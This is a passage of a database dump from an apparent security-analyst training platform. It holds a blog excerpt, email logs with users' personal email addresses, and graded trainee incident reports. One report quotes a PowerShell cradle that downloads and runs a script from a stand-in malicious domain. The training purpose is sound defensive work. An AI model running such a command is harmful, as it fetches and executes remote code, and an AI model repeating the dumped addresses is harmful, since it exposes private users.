Breath**: Focuses on identifying and responding to malware threats.\n3. **Operation Phantom Ballot**: Engages trainees in a scenario involving election security and information integrity.\n\n## MITRE ATT&CK® Mapping\n\nDue to the absence of specific techniques in the extracted data, a precise mapping is not feasible. However, typical mappings could involve:\n\n- **T1566 (Phishing)**: For the initial compromise via deceptive emails.\n- **T1486 (Data Encrypted for Impact)**: Relating to ransomware activities.\n\nIn conclusion, the successful takedown by INTERPOL represents a significant blow to cybercriminal operations worldwide. For cybersecurity professionals at InfoSecLabs and beyond, this operation serves as a critical case study in the effectiveness of international cooperation and the ongoing need for advanced cybersecurity measures and training.\n', 'INTERPOL took down 45,000 malicious IP addresses and servers related to phishing, malware, and ransomware activities across 72 countries.', 'http://infoseclabs.io/uploads/1773586944413-601928429.jpg', NULL, 1, 'published', '2026-03-14 19:00:00', '2026-03-15 18:02:38', 'Threat Intelligence', 'INTERPOL\'s Global Crackdown on 45K Cybercrime IPs & 94 Arrests', 'Discover how INTERPOL\'s landmark cybercrime operation dismantled 45,000 IPs & led to 94 arrests, setting a new precedent in cybersecurity.', 'INTERPOL cybercrime operation');

-- --------------------------------------------------------

--
-- Table structure for table `email_logs`
--

CREATE TABLE `email_logs` (
  `id` int(11) NOT NULL,
  `recipient_email` varchar(255) NOT NULL,
  `subject` varchar(255) DEFAULT NULL,
  `status` varchar(50) DEFAULT NULL,
  `error_message` text DEFAULT NULL,
  `user_id` int(11) DEFAULT NULL,
  `sent_at` timestamp NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `email_logs`
--

INSERT INTO `email_logs` (`id`, `recipient_email`, `subject`, `status`, `error_message`, `user_id`, `sent_at`) VALUES
(1, 'halilbaris@gmail.com', 'Test Render: weekly_report_body', 'sent', NULL, NULL, '2026-03-15 16:30:47'),
(2, '2301301141.nitin@geetauniversity.edu.in', 'New Mission: Malware Detected - Suspicious Process Execution', 'sent', NULL, NULL, '2026-03-15 17:12:52'),
(3, 'akarunkumar348@gmail.com', 'Subscription Upgraded', 'sent', NULL, NULL, '2026-03-15 17:20:16'),
(4, 'akarunkumar348@gmail.com', 'New Mission: Suspicious PowerShell Script Execution', 'sent', NULL, NULL, '2026-03-15 17:21:45'),
(5, 'villarca@outlook.com', 'Verify your email address', 'sent', NULL, NULL, '2026-03-15 17:28:08'),
(6, 'karthikandatom@gmail.com', 'Verify your email address', 'sent', NULL, NULL, '2026-03-15 17:51:16'),
(7, '2301301141.nitin@geetauniversity.edu.in', 'New Mission: Phishing Attempt Detected - Malicious Email Link', 'sent', NULL, NULL, '2026-03-15 18:05:12'),
(8, '2301301141.nitin@geetauniversity.edu.in', 'New Mission: Suspicious PowerShell Command Execution Detected', 'sent', NULL, NULL, '2026-03-15 18:14:41'),
(9, 'shantaciak@gmail.com', 'Verify your email address', 'sent', NULL, NULL, '2026-03-15 18:38:43'),
(10, 'emelyanovakt@gmail.com', 'New Mission: Spear Phishing Email Detected', 'sent', NULL, NULL, '2026-03-15 19:11:11'),
(11, 'skegeo@yahoo.com', '🚀 Maximize Your Security Training - InfoSecLabs Pro', 'sent', NULL, NULL, '2026-03-15 21:15:07'),
(12, 'skegeo@yahoo.com', '🚀 Maximize Your Security Training - InfoSecLabs Pro', 'sent', NULL, NULL, '2026-03-15 21:15:40'),
(13, 'skegeo@yahoo.com', '🚀 Maximize Your Security Training - InfoSecLabs Pro', 'sent', NULL, NULL, '2026-03-15 21:16:50'),
(14, 'skegeo@yahoo.com', '🚀 Maximize Your Security Training - InfoSecLabs Pro', 'sent', NULL, NULL, '2026-03-15 21:17:06'),
(15, 'hmuhina@wgu.edu', 'New Mission: Spear Phishing Email Detected', 'sent', NULL, NULL, '2026-03-16 01:46:28');

-- --------------------------------------------------------

--
-- Table structure for table `feedbacks`
--

CREATE TABLE `feedbacks` (
  `id` int(11) NOT NULL,
  `user_id` int(11) DEFAULT NULL,
  `grade` int(11) DEFAULT NULL,
  `feedback` text DEFAULT NULL,
  `created_at` datetime DEFAULT current_timestamp(),
  `updated_at` datetime DEFAULT current_timestamp() ON UPDATE current_timestamp()
) ENGINE=MyISAM DEFAULT CHARSET=latin1 COLLATE=latin1_swedish_ci;

-- --------------------------------------------------------

--
-- Table structure for table `investigations`
--

CREATE TABLE `investigations` (
  `id` int(11) NOT NULL,
  `user_id` int(11) NOT NULL,
  `alert_id` int(11) NOT NULL,
  `status` varchar(50) DEFAULT 'investigating',
  `grade` int(11) DEFAULT NULL,
  `feedback` text DEFAULT NULL,
  `executive_summary` text DEFAULT NULL,
  `ai_summary` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL,
  `ai_evaluation_scheduled_at` datetime DEFAULT NULL,
  `created_at` timestamp NULL DEFAULT current_timestamp(),
  `updated_at` timestamp NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(),
  `is_reported` tinyint(1) DEFAULT 0,
  `report_reason` text DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `investigations`
--

INSERT INTO `investigations` (`id`, `user_id`, `alert_id`, `status`, `grade`, `feedback`, `executive_summary`, `ai_summary`, `ai_evaluation_scheduled_at`, `created_at`, `updated_at`, `is_reported`, `report_reason`) VALUES
(44, 41, 240, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"\",\"submitted_at\":\"2025-12-27T10:33:40.336Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"The PowerShell command was identified as potentially malicious due to its encoded nature and execution with high integrity.\",\"missed_items\":[\"Analysis of the decoded command\",\"Summary and conclusion of findings\",\"Action plan or recommendation\"],\"strengths\":\"The analyst has successfully identified the event as suspicious, which is the main takeaway needed in incident response.\"}', NULL, '2025-12-27 10:31:24', '2026-01-02 02:40:31', 0, NULL),
(45, 41, 242, 'investigating', NULL, NULL, NULL, NULL, '2025-12-27 13:50:44', '2025-12-27 10:42:44', '2025-12-27 10:42:44', 0, NULL),
(46, 41, 241, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"\",\"submitted_at\":\"2025-12-27T10:44:02.144Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"The analyst should have noted the use of PowerShell with Invoke-Expression to download a script from a questionable URL, indicative of potentially malicious activity.\",\"missed_items\":[\"Detailed analysis or actions taken\",\"Key artifacts such as the URL and file hash\"],\"strengths\":\"Correctly identified the event as a true positive.\"}', NULL, '2025-12-27 10:42:49', '2026-01-02 02:40:31', 0, NULL),
(47, 44, 166, 'investigating', NULL, NULL, NULL, NULL, '2025-12-28 00:05:00', '2025-12-27 21:00:00', '2025-12-27 21:00:00', 0, NULL),
(51, 54, 255, 'investigating', NULL, NULL, '{\"verdict\":\"True Positive\",\"executive_summary\":{\"report\":\"## Executive Report\\n**Date:** 1/3/2026\\n**Verdict:** True Positive\\n\\n### Incident Overview\\nAlert triggered by suspicious activity classified as **Insider Threat**.\\n\\n### Key Findings & Artifacts\\n- IP: 192.168.32.201\\n\\n### Incident Response\\nActions taken to mitigate the threat:\\nReset Credentials, Block IP / Domain, Isolate Host\",\"conclusion\":\"This alert is classified as a True Positive based on the following findings:\\n\\n1. The identified artifacts (192.168.32.201) were analyzed and determined to be malicious.\\n\\n2. Impact Assessment: The threat was confirmed. Immediate containment measures were taken to prevent lateral movement.\\n\\n3. Recommended Actions: Continue monitoring the affected systems, review access logs, and consider password resets for affected accounts.\"},\"artifacts\":[{\"type\":\"IP\",\"value\":\"192.168.32.201\",\"link\":\"\",\"score\":\"\"}],\"analysis_answers\":{\"attack_category\":\"Insider Threat\",\"action_taken\":[\"Reset Credentials\",\"Block IP / Domain\",\"Isolate Host\"]},\"submitted_at\":\"2026-01-03T16:55:43.995Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', NULL, '2025-12-29 21:35:43', '2026-01-31 21:00:01', 0, NULL),
(52, 54, 257, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\",\"reset_credentials\",\"block_ip\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"This alert is True Positive\\nDetection POWERSHELL-0012 correctly identified malicious activity, suspicious PowerShell execution and fileless malware pattern. Actions are warranted\",\"submitted_at\":\"2025-12-29T21:58:29.581Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Suspicious PowerShell execution with known malicious network communication.\",\"missed_items\":[\"Executive Summary\",\"Artifacts such as file hash and IP address\"],\"strengths\":\"Correctly identified the activity as malicious.\"}', NULL, '2025-12-29 21:46:51', '2026-01-02 02:40:31', 0, NULL),
(53, 54, 256, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\"],\"selectedActions\":[\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"Alert is True Positive, its a known phishing URL, SEG saw the link is on a blacklist and quarantined the mail. The inbound e-mail bever reached the user\'s inbox. \",\"submitted_at\":\"2025-12-29T22:36:14.618Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"The email contained a blacklisted URL linked to phishing, and the email was quarantined.\",\"missed_items\":[\"Actions Taken\",\"Analysis/Artifacts Found\",\"Headers\"],\"strengths\":\"Correctly identified the email as a phishing attempt and stated that it was quarantined.\"}', NULL, '2025-12-29 22:28:13', '2026-01-02 02:40:31', 0, NULL),
(59, 34, 268, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"ip-10.0.0.15\",\"ip-203.0.113.45\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"\",\"submitted_at\":\"2026-02-08T19:05:10.314Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts: ip 203.0.113.45 (1/2). Missed response actions (3/4)\",\"missed_items\":[\"ip: 203.0.113.45\",\"escalate\"],\"strengths\":\"Needs improvement\"}', NULL, '2025-12-31 13:10:22', '2026-02-28 21:00:00', 0, NULL),
(60, 34, 269, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"this is truepositive alert, end point has to isolate, block domain , hash etc. .\",\"submitted_at\":\"2025-12-31T14:34:55.159Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"The execution of BlackEnergy malware, involvement of suspicious file and process, and the details such as file hash, IP addresses, and the user\'s action.\",\"missed_items\":[\"file_hash\",\"file_path\",\"internal_ip\",\"external_ip\",\"associated_action steps\"],\"strengths\":\"The analyst correctly identified the alert as a true positive.\"}', NULL, '2025-12-31 13:11:32', '2026-01-02 02:40:31', 0, NULL),
(65, 34, 270, 'investigating', NULL, NULL, NULL, NULL, NULL, '2025-12-31 14:34:55', '2025-12-31 14:34:55', 0, NULL),
(67, 34, 304, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"block_hash\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"It is truepositive alert. We need to block URL/Doamin and IP address and hash. \",\"submitted_at\":\"2026-01-02T04:31:15.901Z\"}', '{\"verdict\":\"True Positive\",\"recommended_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"critical_artifacts\":[{\"type\":\"email\",\"value\":\"finance.partner@maliciousdomain.com\",\"osint_verdict\":\"malicious\"},{\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"osint_verdict\":\"malicious\"},{\"type\":\"url\",\"value\":\"http://maliciousdomain.com/securelogin\",\"osint_verdict\":\"malicious\"},{\"type\":\"ip\",\"value\":\"203.0.113.45\",\"osint_verdict\":\"malicious\"}]}', NULL, '2026-01-02 04:28:59', '2026-01-31 21:00:01', 0, NULL),
(68, 34, 305, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-02 04:31:15', '2026-01-02 04:31:15', 0, NULL),
(71, 34, 318, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\"],\"selectedActions\":[\"reset_credentials\",\"close_alert\"],\"verdict\":\"false_positive\",\"conclusion\":\"\",\"submitted_at\":\"2026-02-05T02:30:55.938Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-01-02 15:27:39', '2026-02-28 21:00:00', 0, NULL),
(81, 34, 274, 'investigating', NULL, NULL, NULL, NULL, '2026-01-03 00:42:46', '2026-01-02 21:34:46', '2026-01-02 21:34:46', 0, NULL),
(82, 54, 318, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\"],\"selectedActions\":[\"reset_credentials\"],\"verdict\":\"false_positive\",\"conclusion\":\"Instigation confirmed benign activity on internal, known host \\\"internal-server\\\" (192.168.1.15). 15 failed login attempts to \\\"admin\\\" account on dst 192.168.1.100 were triggered by likely cause e.g., automated script misconfig, service account password expiry/rotation, or scheduled task with stale creds. No evidence of brute-force. Host verified clean via EDR scan/logs. Action taken (credential reset) was precautionary. No IOC\'s or anomalies post-review.\",\"submitted_at\":\"2026-01-03T17:06:09.611Z\"}', '{\"verdict\":\"False Positive\",\"recommended_actions\":[\"close_alert\"],\"critical_artifacts\":[{\"type\":\"ip\",\"value\":\"192.168.1.15\",\"osint_verdict\":\"internal\"}]}', NULL, '2026-01-03 16:56:39', '2026-01-31 21:00:01', 0, NULL),
(83, 54, 315, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"Host compromised: WORKSTATION-01 (10.0.02) affected user: Jane.doe, Malware Identified: malware.exe-has b194 linked to known enterprise-targeting campaign. Rapid threat intelligence VirusTotal scan confirmed malicious hash. Risk level high. Immediate response actions host Isolation: WORKSTATION-01 quarantined from network-prevented lateral movement and data exfiltration. Malware Blocking: Malware hash globally blacklisted across all enterprise endpoints, Forensic Capture: Memory and disk imaging performed to preserve evidence. \",\"submitted_at\":\"2026-01-03T17:19:44.573Z\"}', '{\"verdict\":\"True Positive\",\"recommended_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"critical_artifacts\":[{\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"osint_verdict\":\"malicious\"}]}', NULL, '2026-01-03 17:07:54', '2026-01-31 21:00:01', 0, NULL),
(84, 54, 249, 'investigating', NULL, NULL, '{\"verdict\":\"True Positive\",\"executive_summary\":{\"report\":\"## Executive Report\\n**Date:** 1/3/2026\\n**Verdict:** True Positive\\n\\n### Incident Overview\\nAlert triggered by suspicious activity classified as **Web Attack**.\\n\\n### Key Findings & Artifacts\\n- URL: http://maliciousdomain.com/script.ps1\\n- Command: \\\"iex (New-Object Net.WebClient).DownloadString(\'http://maliciousdomain.com/script.ps1\')\\n- IP: 192.168.1.105\\n- Process: explorer.exe\\n\\n### Incident Response\\nActions taken to mitigate the threat:\\nIsolate Host, Block IP / Domain\",\"conclusion\":\"This alert is classified as a True Positive based on the following findings:\\n\\n1. The identified artifacts (http://maliciousdomain.com/script.ps1, \\\"iex (New-Object Net.WebClient).DownloadString(\'http://maliciousdomain.com/script.ps1\'), 192.168.1.105, explorer.exe) were analyzed and determined to be malicious.\\n\\n2. Impact Assessment: The threat was confirmed. Immediate containment measures were taken to prevent lateral movement.\\n\\n3. Recommended Actions: Continue monitoring the affected systems, review access logs, and consider password resets for affected accounts.\"},\"artifacts\":[{\"type\":\"URL\",\"value\":\"http://maliciousdomain.com/script.ps1\",\"link\":\"\",\"score\":\"\"},{\"type\":\"Command\",\"value\":\"\\\"iex (New-Object Net.WebClient).DownloadString(\'http://maliciousdomain.com/script.ps1\')\",\"link\":\"\",\"score\":\"\"},{\"type\":\"IP\",\"value\":\"192.168.1.105\",\"link\":\"\",\"score\":\"\"},{\"type\":\"Process\",\"value\":\"explorer.exe\",\"link\":\"\",\"score\":\"\"}],\"analysis_answers\":{\"attack_category\":\"Web Attack\",\"action_taken\":[\"Isolate Host\",\"Block IP / Domain\"]},\"submitted_at\":\"2026-01-03T17:35:55.420Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', NULL, '2026-01-03 17:21:08', '2026-01-31 21:00:01', 0, NULL),
(86, 49, 428, 'investigating', NULL, NULL, NULL, NULL, '2026-01-05 01:39:51', '2026-01-04 22:30:51', '2026-01-04 22:30:51', 0, NULL),
(87, 1, 476, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-05 03:22:25', '2026-01-05 03:22:25', 0, NULL),
(88, 34, 496, 'investigating', NULL, NULL, NULL, NULL, '2026-01-06 03:35:33', '2026-01-06 00:29:33', '2026-01-06 00:29:33', 0, NULL),
(89, 34, 476, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\",\"artifact_4\",\"artifact_5\",\"artifact_6\"],\"selectedActions\":[\"block_ip\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"This alert is true positive. \",\"submitted_at\":\"2026-01-06T00:54:10.521Z\"}', '{\"verdict\":\"True Positive\",\"recommended_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"critical_artifacts\":[{\"type\":\"ip\",\"value\":\"203.0.113.45\",\"osint_verdict\":\"malicious\"},{\"type\":\"email\",\"value\":\"attacker@maliciousdomain.com\",\"osint_verdict\":\"malicious\"},{\"type\":\"hash\",\"value\":\"a4b9c78cb6f1a2b3d4e5f6a7b8c9d0e1\",\"osint_verdict\":\"malicious\"},{\"type\":\"filename\",\"value\":\"important_document.rtf\",\"osint_verdict\":\"malicious\"}]}', NULL, '2026-01-06 00:53:10', '2026-01-31 21:00:01', 0, NULL),
(90, 34, 477, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-06 00:54:10', '2026-01-06 00:54:10', 0, NULL),
(91, 1, 525, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-06 01:49:25', '2026-01-06 01:49:25', 0, NULL),
(92, 65, 244, 'investigating', NULL, NULL, NULL, NULL, '2026-01-06 10:10:49', '2026-01-06 07:00:49', '2026-01-06 07:00:49', 0, NULL),
(93, 1, 530, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-06 19:45:51', '2026-01-06 19:45:51', 0, NULL),
(94, 68, 530, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"\",\"submitted_at\":\"2026-01-07T16:11:48.286Z\"}', '{\"verdict\":\"True Positive\",\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"critical_artifacts\":[{\"type\":\"ip\",\"value\":\"203.0.113.5\",\"osint_verdict\":\"malicious\"},{\"type\":\"hash\",\"value\":\"3a2f4e6d2b2a4f5c6f9e8b7e4c1d2f3e\",\"osint_verdict\":\"malicious\"},{\"type\":\"filename\",\"value\":\"ASUSUpdate.exe\",\"osint_verdict\":\"suspicious\"}]}', NULL, '2026-01-07 16:08:30', '2026-01-31 21:00:01', 0, NULL),
(95, 68, 531, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"This report summarizes the Malicious payload, identifying key strengths in our response and critical areas needing improvement to address evolving threats like.\\nSuccessfully contained simulated ransomware, but identified gaps in endpoint detection coverage on 15% of legacy devices.\\nWhile no data was lost, potential downtime could have impacted critical operations.\\nRecommendations for improvement:  1. Upgrade EDR on legacy systems; 2. Develop updated playbooks for data exfiltration; 3. Conduct quarterly phishing simulations. \",\"submitted_at\":\"2026-01-07T16:40:25.941Z\"}', '{\"verdict\":\"True Positive\",\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"],\"critical_artifacts\":[{\"type\":\"ip\",\"value\":\"203.0.113.15\",\"osint_verdict\":\"malicious\"},{\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"osint_verdict\":\"malicious\"}]}', NULL, '2026-01-07 16:11:48', '2026-01-31 21:00:01', 0, NULL),
(96, 68, 532, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"This report summarizes the [Event Name], identifying key strengths in our response and critical areas needing improvement to address evolving threats like [Threat Type]\\\".\\nKey Findings: Backdoor was detected.\\nBusiness Impact: While no data was lost, potential downtime could have impacted critical operations.\\nRecommendations (POA&M): 1. Upgrade EDR on legacy systems; 2. Develop updated playbooks for data exfiltration; 3. Conduct quarterly phishing simulations. \",\"submitted_at\":\"2026-01-07T16:43:10.336Z\"}', '{\"verdict\":\"True Positive\",\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"],\"critical_artifacts\":[{\"type\":\"ip\",\"value\":\"203.0.113.45\",\"osint_verdict\":\"malicious\"},{\"type\":\"username\",\"value\":\"compromised_user\",\"osint_verdict\":\"suspicious\"},{\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"osint_verdict\":\"malicious\"}]}', NULL, '2026-01-07 16:40:25', '2026-01-31 21:00:01', 0, NULL),
(97, 68, 533, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-07 16:43:10', '2026-01-07 16:43:10', 0, NULL),
(98, 34, 530, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-11 01:35:26', '2026-01-11 01:35:26', 0, NULL),
(99, 34, 546, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-11 01:38:00', '2026-01-11 01:38:00', 0, NULL),
(100, 34, 345, 'investigating', NULL, NULL, NULL, NULL, '2026-01-11 04:54:19', '2026-01-11 01:45:19', '2026-01-11 01:45:19', 0, NULL),
(147, 78, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-14 03:22:08', '2026-01-14 03:22:08', 0, NULL),
(148, 74, 642, 'investigating', NULL, NULL, NULL, NULL, '2026-01-14 09:40:24', '2026-01-14 06:35:24', '2026-01-14 06:35:24', 0, NULL),
(149, 74, 830, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-14 06:36:01', '2026-01-14 06:36:01', 0, NULL),
(150, 74, 236, 'investigating', NULL, NULL, NULL, NULL, '2026-01-14 09:44:57', '2026-01-14 06:38:57', '2026-01-14 06:38:57', 0, NULL),
(151, 74, 601, 'investigating', NULL, NULL, NULL, NULL, '2026-01-14 09:48:23', '2026-01-14 06:40:23', '2026-01-14 06:40:23', 0, NULL),
(152, 85, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-16 13:33:40', '2026-01-16 13:33:40', 0, NULL),
(153, 85, 952, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\"],\"selectedActions\":[\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"Dest ip: 192.168.1.50\\nSource ip: 203.0.113.55\\nhostname: server01\\ndomain : maliciousc2.com\\n\\nThe ip and domain belong to C2C server and they are blocked. \\n\\nIt is important to analyse deeper to verify, if the connection is successful.\\n\",\"submitted_at\":\"2026-01-16T13:40:01.913Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts (0/2). Missed response actions (1/3)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-01-16 13:35:06', '2026-01-31 21:00:01', 0, NULL),
(154, 85, 727, 'investigating', NULL, NULL, NULL, NULL, '2026-01-16 16:45:24', '2026-01-16 13:40:24', '2026-01-16 13:40:24', 0, NULL),
(155, 54, 268, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"Email abc123@example.com was reported Suspicious with Unusual email activity detected.\\nIP 203.0.113.45 was reported as Malicious the IP is associated with known phishing campaigns.\\nHash 3a7bd3e2360f1edb0f3b4e5c7b6e9d5a was reported Malicious there was Malware detected in attachment.\\nContainment protocol consist of isolating host, block IP/Domain, block file hash, reset credentials, and collect forensics.\\nVerdict is True positive\",\"submitted_at\":\"2026-01-17T03:11:31.821Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts (0/2). Missed response actions (3/4)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-01-17 03:00:58', '2026-01-31 21:00:01', 0, NULL),
(156, 54, 269, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"October 5, 2023, EDR system alerted to a confirmed BlackEnergy malware execution on the host CORP-ENDPOINT-23 (user:jdoe). The infection originated from malicious phishing attachment (invoice.doc).\\nKey findings:\\nSource: Malicious file invoice.doc delivered via email\\nInfected Host: Internal IP 192.168.1.45\\nCommand & Control: Communication with a known malicious external IP (203.0.113.50) associated with BlackEnergy campaigns.\\nIOC Match: File hash and malware signature confirmed against threat intelligence database.\\nActions taken were to isolate the host, block IP/Domain, block file hash, reset credentials, and to collect forensics. The incident was classified as a True Positive with high severity level.\\n\\n\",\"submitted_at\":\"2026-01-17T03:30:03.780Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts (0/2). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-01-17 03:11:31', '2026-01-31 21:00:01', 0, NULL),
(157, 54, 270, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-17 03:30:03', '2026-01-17 03:30:03', 0, NULL),
(158, 74, 950, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"Malicious link in phidhing email\",\"submitted_at\":\"2026-01-17T08:45:12.141Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts (0/2). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-01-17 08:43:36', '2026-01-31 21:00:01', 0, NULL),
(159, 74, 991, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"\",\"submitted_at\":\"2026-01-17T08:47:53.790Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts (0/3). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-01-17 08:46:40', '2026-01-31 21:00:01', 0, NULL),
